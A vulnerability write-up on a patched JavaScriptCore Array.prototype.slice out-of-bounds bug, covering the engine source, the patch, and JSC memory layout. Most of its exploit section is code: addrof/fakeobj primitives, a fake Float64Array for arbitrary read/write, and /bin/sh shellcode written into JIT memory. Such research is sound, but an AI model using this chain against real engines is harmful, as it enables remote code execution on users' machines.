Bug Analysis
The vulnerability is present in the implementation of ArrayProtoSlice.
first, let us see what is slice method and how it works.
The slice() method returns a shallow copy of a portion of an array into a new array object selected from start to end (end not included) where start and end represent the index of items in that array. The original array will not be modified.
>>> var array = ['a','b','c','d']
undefined
>>> array.slice(1,4)
b,c,d
Now let us take a look at the implementation (slightly commented) of ArrayProtoSlice.
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
VM& vm = exec->vm();
auto scope = DECLARE_THROW_SCOPE(vm);
JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
ASSERT(!!scope.exception() == !thisObj);
if (UNLIKELY(!thisObj))
return { };
unsigned length = toLength(exec, thisObj); // Get the length of the array
RETURN_IF_EXCEPTION(scope, { });
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length); // Get the start index for slicing the array.
RETURN_IF_EXCEPTION(scope, { });
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length); // Get the end index for slicing the array.
RETURN_IF_EXCEPTION(scope, { });
if (end < begin) // Ensure end index is greater than or equal to the begin index
end = begin;
std::pair<SpeciesConstructResult, JSObject*> speciesResult = speciesConstructArray(exec, thisObj, end - begin);
// We can only get an exception if we call some user function.
ASSERT(!!scope.exception() == (speciesResult.first == SpeciesConstructResult::Exception));
if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception))
return { };
// Check if the result object is an array object, to take fast path.
bool okToDoFastPath = speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj);
RETURN_IF_EXCEPTION(scope, { });
if (LIKELY(okToDoFastPath)) {
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
// Create a new result object using the species constructor
JSObject* result;
if (speciesResult.first == SpeciesConstructResult::CreatedObject)
result = speciesResult.second;
else {
result = constructEmptyArray(exec, nullptr, end - begin);
RETURN_IF_EXCEPTION(scope, { });
}
// Copy the elements from the original array object to the result object
unsigned n = 0;
for (unsigned k = begin; k < end; k++, n++) {
JSValue v = getProperty(exec, thisObj, k);
RETURN_IF_EXCEPTION(scope, { });
if (v) {
result->putDirectIndex(exec, n, v, 0, PutDirectIndexShouldThrow);
RETURN_IF_EXCEPTION(scope, { });
}
}
scope.release();
setLength(exec, vm, result, n);
return JSValue::encode(result);
}
Simply put, the above code gets the length of the array and converts the args into native integers to get start and end values. Then performs slicing. The slicing is done in two ways:
- FastSlice: Uses memcpy to copy the elements into a new array.
- Slow path: Loops and copies each element individually to the new array.
In the implementation of ArrayProtoSlice, the values are converted to native integers by argumentClampedIndexFromStartOrEnd()
.
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
double indexDouble = value.toInteger(exec);
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}
>>> a = ['1','2','3','4','5']
[1,2,3,4,5]
>>> a.slice(1,3)
[2,3]
Here we can see that even if the parameters are strings, they are converted to native integers.
According to the conversion rules, if an object has a callable property valueOf
, it will be called and the return value will be used if it is a primitive value. So, if we change the length using valueof
function in one of the parameters, .slice
still uses the old length value, So memcpy will now result in out-of-bound access.
Now let us see what this looks like in action.
var a = [];
for (var i = 0; i < 100; i++) a.push(i + 1.23);
var b = a.slice(0, {
valueOf: function () {
a.length = 0;
b = [{}, 1.23];
return 5;
},
});
print(b);
The expected output should be an array with undefined values. But…
spektre@skream:~/webkit$ ./WebKitBuild/Debug/bin/jsc poc.js
1.23,2.23,1.5488838078e-314,6.365987374e-314,6.94548287109343e-310
Here we abused the JS Type Conversions while calculating the ‘begin’ and ’end’ variables during the fast path. During the conversion, valueOf method is executed, the length is set to 0, and the ArrayProtoSlice still uses the old length value which resulted in an Out-Of-Bounds read We can also use this not only to leak values but also to inject values as well.
Now let us take a look at the commit(650552a) where this bug was patched.
diff --git a/Source/JavaScriptCore/runtime/ArrayPrototype.cpp b/Source/JavaScriptCore/runtime/ArrayPrototype.cpp
index cfdd7fceb7f47..08a6ec991afef 100644
--- a/Source/JavaScriptCore/runtime/ArrayPrototype.cpp
+++ b/Source/JavaScriptCore/runtime/ArrayPrototype.cpp
@@ -863,7 +863,7 @@ EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception))
return JSValue::encode(jsUndefined());
- if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
+ if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj) && length == getLength(exec, thisObj))) {
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
Here the patch adds an additional check for the length of the source array before calling fastSlice.
Before we get into details of the exploit, Here are a few things you need to know that might help you understand the exploit better.
NaN Boxing and JS Values
In JSC, The least significant values are used to indicate which type of value it is. This is clearly defined in JSValue.h
* The encoding makes use of unused NaN space in the IEEE754 representation. Any value
* with the top 13 bits set represents a QNaN (with the sign bit set). QNaN values
* can encode a 51-bit payload. Hardware produced and C-library payloads typically
* have a payload of zero. We assume that non-zero payloads are available to encode
* pointer and integer values. Since any 64-bit bit pattern where the top 15 bits are
* all set represents a NaN with a non-zero payload, we can use this space in the NaN
* ranges to encode other values (however there are also other ranges of NaN space that
* could have been selected).
*
* This range of NaN space is represented by 64-bit numbers beginning with the 15-bit
* hex patterns 0xFFFC and 0xFFFE - we rely on the fact that no valid double-precision
* numbers will fall in these ranges.
*
* The top 15-bits denote the type of the encoded JSValue:
*
* Pointer { 0000:PPPP:PPPP:PPPP
* / 0002:****:****:****
* Double { ...
* \ FFFC:****:****:****
* Integer { FFFE:0000:IIII:IIII
*
* The scheme we have implemented encodes double precision values by performing a
* 64-bit integer addition of the value 2^49 to the number. After this manipulation
* no encoded double-precision value will begin with the pattern 0x0000 or 0xFFFE.
* Values must be decoded by reversing this operation before subsequent floating point
* operations may be peformed.
*
* 32-bit signed integers are marked with the 16-bit tag 0xFFFE.
*
* The tag 0x0000 denotes a pointer, or another form of tagged immediate. Boolean,
* null and undefined values are represented by specific, invalid pointer values:
*
* False: 0x06
* True: 0x07
* Undefined: 0x0a
* Null: 0x02
Consider this example. We create an array with an Integer, a double, a string, a bool, and an object.
a = [0xdeadbeef,0.1337,"abcd",true,{}]
>>> describe(a)
Object: 0x7fffadfc4430 with butterfly 0x7fffaddd8288 (0x7fffadff3360:[Array, {}, ArrayWithContiguous, Proto:0x7fffadfd0120]), ID: 87
and this is how the values look in memory
pwndbg> x/16gx 0x7fffaddd8288
0x7fffaddd8288: 0x41ecd5b7dde00000 0x3fc21d14e3bcd35b
0x7fffaddd8298: 0x00007fffa74ef940 0x0000000000000007
0x7fffaddd82a8: 0x00007fffadffc360 0x00000000badbeef0
JSObject
An object in JS is a collection of Key-Value pairs, which are called properties.
consider this example.
x = {'a':1,'b':0.1337,'c':"lol",'d':true,'e':[1,2,3,4]}
we can use describe() to get info about the object.
>>> describe(x)
Object: 0x7fffadffc1a0 with butterfly (nil) (0x7fffadf9ea30:[Object, {a:0, b:1, c:2, d:3, e:4}, NonArray, Proto:0x7fffadfc40a0, Leaf]), ID: 280
This is how the object looks in memory.
pwndbg> x/16gx 0x7fffadffc1a0
0x7fffadffc1a0: 0x0100180000000118 0x0000000000000000
0x7fffadffc1b0: 0xffff000000000001 0x3fc21d14e3bcd35b
0x7fffadffc1c0: 0x00007fffadf94300 0x0000000000000007
0x7fffadffc1d0: 0x00007fffadfc4320 0x0000000000000000
Structure of a JSObject:
--------------------
StructureID 32 bits
--------------------
Header Bits 32 bits
--------------------
Butterfly 64 bits
--------------------
Inline Properties n*64 bits
--------------------
Butterfly
Butterfly consists of elements of the array and out-of-line properties. It’s called a butterfly because this points to the middle of the structure. The elements are at +ve offsets from the Butterfly pointer and out-of-line properties are at -ve offsets.
>>> a = [0xdeadbeef,0.1337,"abcd",true,{}]
3735928559,0.1337,abcd,true,[object Object]
>>> describe(a)
Object: 0x7fffadfc4340 with butterfly 0x7fffadde4108 (0x7fffadff3360:[Array, {}, ArrayWithContiguous, Proto:0x7fffadfd0120]), ID: 87
Here is how a butterfly is represented in memory:
pwndbg> x/16gx 0x7fffadde4108
0x7fffadde4108: 0x41ecd5b7dde00000 0x3fc21d14e3bcd35b
0x7fffadde4118: 0x00007fffadf94360 0x0000000000000007
0x7fffadde4128: 0x00007fffadffc1e0 0x00000000badbeef0
0x7fffadde4138: 0x00000000badbeef0 0x00000000badbeef0
Exploit Strategy
-
First, we start with writing our exploit primitives addrof and fakeobj.
-
For addrof, We make use of an array of doubles, which will have its indexing type as ArrayWithDoubles. and use the valueof function to shrink the array, allocate an array with the object, and return a size larger than the array size which will access the object. slice preserves the indexing type, and the data we access is treated as native doubles which gives us JSValue leak which is in the form of 64bit Floating point value. fakeobj follows a similar approach but the other way around.
-
addrof primitive
function addrof(object) {
var a = [];
for (var i = 0; i < 100; i++) a.push(i + 0.123);
var b = a.slice(0, {
valueOf: function () {
a.length = 0;
b = [object];
return 5;
},
});
return Int64.fromDouble(b[4]);
}
- fakeobj primitive
function fakeobj(addr) {
var a = [];
for (var i = 0; i < 100; i++) a.push({});
var b = a.slice(0, {
valueOf: function () {
a.length = 0;
b = [addr.asDouble()];
return 5;
},
});
return b[4];
} ```
- Now we will aim to achieve arb read/write, we achieve this using a fake Float64Array Instance.
Why Float64Array? Typed Arrays store raw binary data, we can get arbitrary read/write if we control the data pointer.
Ok, Before we proceed further, To fake an object, We need a valid JSCell header and JS StructureID which is not static. In this case, We can predict a valid structure id by spraying a lot of objects and adding a different property each time which gives us a unique structure id.
- We now spray a lot of Float64Array instances and guess the structure id. we can check if the guess is correct using
instanceof
. - After setting up the cell header of fake Float64Array, We make the vector ptr ( pointer to the backing memory ) of the fake object point to another array, which gives us arb read/write.
function spray() {
for (var i = 0; i < 10000; i++) {
var a = new Float64Array(1);
elem = "aaa" + i;
a[elem] = 0xdeadbeef;
}
}
spray();
var temp = new Uint8Array(1000);
/* JS cell header for a Float64Array
m_structureID
m_indexingType
m_type
m_flags
m_cellState
*/
var jsCellHeader = new Int64([
0x0,0x10,0x0,0x0,
0x0,
0x2c,
0x08,
0x1,
]);
var container = {
jsCellHeader: jsCellHeader.asJSValue(),
butterfly: false, // Can't use 0x0 here because of conversion to JSValue, so we use false
vector: temp,
lengthAndFlags: new Int64("0x0001000000000100").asJSValue(),
};
memory = {
read: function (addr, length) {
fakearray[2] = addr.asDouble();
var res = new Array(length);
for (var i = 0; i < length; i++) res[i] = temp[i];
return res;
},
write: function (addr, data) {
fakearray[2] = addr.asDouble();
for (var i = 0; i < data.length; i++) temp[i] = data[i];
},
- The butterfly of the fake object is an invalid pointer, this causes a crash because of the garbage collector. we fix the fake object and the container to avoid a crash.
var empty = {};
var header = memory.read(addrof(empty), 8);
memory.write(addrof(container), header);
var arr = new Float64Array(8);
header = memory.read(addrof(arr), 16);
var length = memory.read(Add(addrof(arr), 24), 8);
memory.write(addrof(fakearray), header);
memory.write(Add(addrof(fakearray), 24), length);
fakearray.container = container;
- We now create a JITed region that has RWX permissions, and get the address of that region using the primitives.
function jit_funx() {
function target(x) {
return x;
}
for (var i = 0; i < 1000; i++) {
target(i);
}
return target;
}
//
var pwn = jit_funx();
var pwn_addr = addrof(pwn);
var rwx_addr = memory.read64(Add(pwn_addr, 24));
var jitCodeAddr = memory.read64(Add(rwx_addr, 24));
var shellcode = [
0x48, 0x31, 0xc0, 0x50, 0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73,
0x68, 0x57, 0x48, 0x89, 0xe7, 0x50, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6,
0xb0, 0x3b, 0x0f, 0x05,
];
- Using the leak, write the shellcode to that address and then call the function.
var code = memory.read64(Add(jitCodeAddr, 32));
memory.write(code, shellcode);
pwn();
- This will execute the shellcode and pop a shell.
Here is the link for the exploit script.